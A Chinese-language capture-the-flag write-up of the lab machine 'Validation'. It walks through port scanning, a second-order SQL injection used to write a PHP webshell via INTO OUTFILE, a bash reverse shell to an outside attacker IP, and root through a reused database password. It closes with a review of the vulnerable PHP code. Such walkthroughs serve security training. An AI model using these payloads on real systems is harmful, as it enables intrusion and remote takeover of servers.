Validation Writeup

概述 (Overview)

500

HOST: 10.10.11.116

OS: LINUX

发布时间: 2021-09-13

完成时间: 2021-09-14

机器作者: ippsec

困难程度: easy

机器状态: 退休

MACHINE TAGS: #SQLi

攻击链 (Kiillchain)

使用 Nmap 对目标系统进行开放端口识别后,浏览器访问 HTTP 服务进行功能测试,发现存在 SQLi。通过二次注入触发Sql查询成功写入 WebShell 拿到立足点。
对站点的配置信息进行收集时,发现存在“密码复用”最终完成权限提升。

枚举(Enumeration)

老样子的,开始依然使用 Nmap 对目标服务进行开放端口扫描。

PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA) | 256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA) |_ 256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519) 80/tcp open http | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Site doesn't have a title (text/html; charset=UTF-8).

从结果中可以获知,目标服务器只开放了两个外部访问端口。

Port 80 - Apache/PHP

使用浏览器访问目标服务器80端口上的 HTTP 服务,看到的是一个带有注册功能的页面:

500

立足点(Foothold)

第一个参数为用户名,第二个参数为地址选项。经过测试,对第一个参数输入任意内容提交后进入 /account.php 页面会看到保存的数据列表,一切正常。而当在第二个参数中加入特殊的'符号则会显示 PHP 的错误信息栈:

image

image

从错误信息中可以得到当前访问PHP页面的绝对路径,所以这里很大的可能性是存在二次[[SQL injection]],触发点就是 account.php 页面。

对于二次注入(Second-order SQL injection)的利用也很简单,可以用它来做数据库查询等操作。

比如通过表单传递保存的 payload 语句为:

country' union select user() -- -

当它成功保存到数据库中后,我们在访问 account.php 页面则会在页面中看到sql执行 user() 函数结果信息:uhc@localhost

脚本触发的SQL查询语句应该为:

SELECT username FROM xxx WHERE country ='country' union select user() -- -

通过目录枚举工具进行扫描找不到后台登录页面,转而尝试进行 WebShell 的文件写入:

username=admin1&country=country' union select "<?php SYSTEM($_REQUEST['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -

随后访问站点根目录下的 shell.php 文件,随后使用该脚步进行命令执行:

image

成功执行命令拿到目标服务器的立足点:

cmd=/bin/bash+-c+"/bin/bash+-i+>%26+/dev/tcp/10.10.17.64/9900+0>%261"

权限提升(Privilege Escalation)

这台机器的提权就比较简单了,存在密码复用漏洞,使用 MySql 连接密码运行 su 成功提权。

<?php // cat config.php $servername = "127.0.0.1"; $username = "uhc"; $password = "uhc-9qual-global-pw"; $dbname = "registration"; $conn = new mysqli($servername, $username, $password, $dbname); ?>

image

复盘

我们看下一目标服务器的 SQLi 漏洞是如何产生的:

<?php // index.php require('config.php'); if ($_SERVER['REQUEST_METHOD'] == 'POST') { $userhash = md5($_POST['username']); // 这里是安全的,用的预处理方式进行数据写入。 // 预处理语句对于防止 MySQL 注入是非常有用的。 $sql = "INSERT INTO registration (username, userhash, country, regtime) VALUES (?, ?, ?, ?)"; $stmt = $conn - > prepare($sql); $stmt - > bind_param("sssi", $_POST['username'], $userhash, $_POST['country'], time()); $stmt - > execute(); setcookie('user', $userhash); header("Location: /account.php"); exit; } ?>
<?php // account.php include('config.php'); $user = $_COOKIE['user']; $sql = "SELECT username, country FROM registration WHERE userhash = ?"; $stmt = $conn->prepare($sql); $stmt->bind_param("s", $user); $stmt->execute(); $result = $stmt->get_result(); // get the mysqli result $row = $result->fetch_assoc(); // fetch data echo '<h1 class="text-white">Welcome ' . $row['username'] . '</h1>'; echo '<h3 class="text-white">Other Players In ' . $row['country'] . '</h3>'; // 问题出在此处,将查询结果的值未做任何清洗进行了字符串拼接 $sql = "SELECT username FROM registration WHERE country = '" . $row['country'] . "'"; // 恶意的SQLi语句在此处执行 $result = $conn->query($sql); while ($row = $result->fetch_assoc()) { echo "<li class='text-white'>" . $row['username'] . "</li>"; } ?>

除此之外,我的 WebShell 文件很快就不见了,通过查看 Docker 启动时的指定运行脚本文件,发现Box的作者是通过 while 语句做的定时文件清理。

cat entrypoint.sh #!/bin/sh service mariadb start apache2-foreground & while :; do clean_time=$(date +%s -d "15 minutes ago") sleep 30 mysql -d registration -e "DELETE FROM registration WHERE regtime <= $clean_time" find /var/www/html -type f -mmin +10 -not -name "account.php" -not -name "config.php" -not -name index.php -not -name bootstrap.min.css -exec rm {} \; echo $clean_time >> /tmp/clean done

参考


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。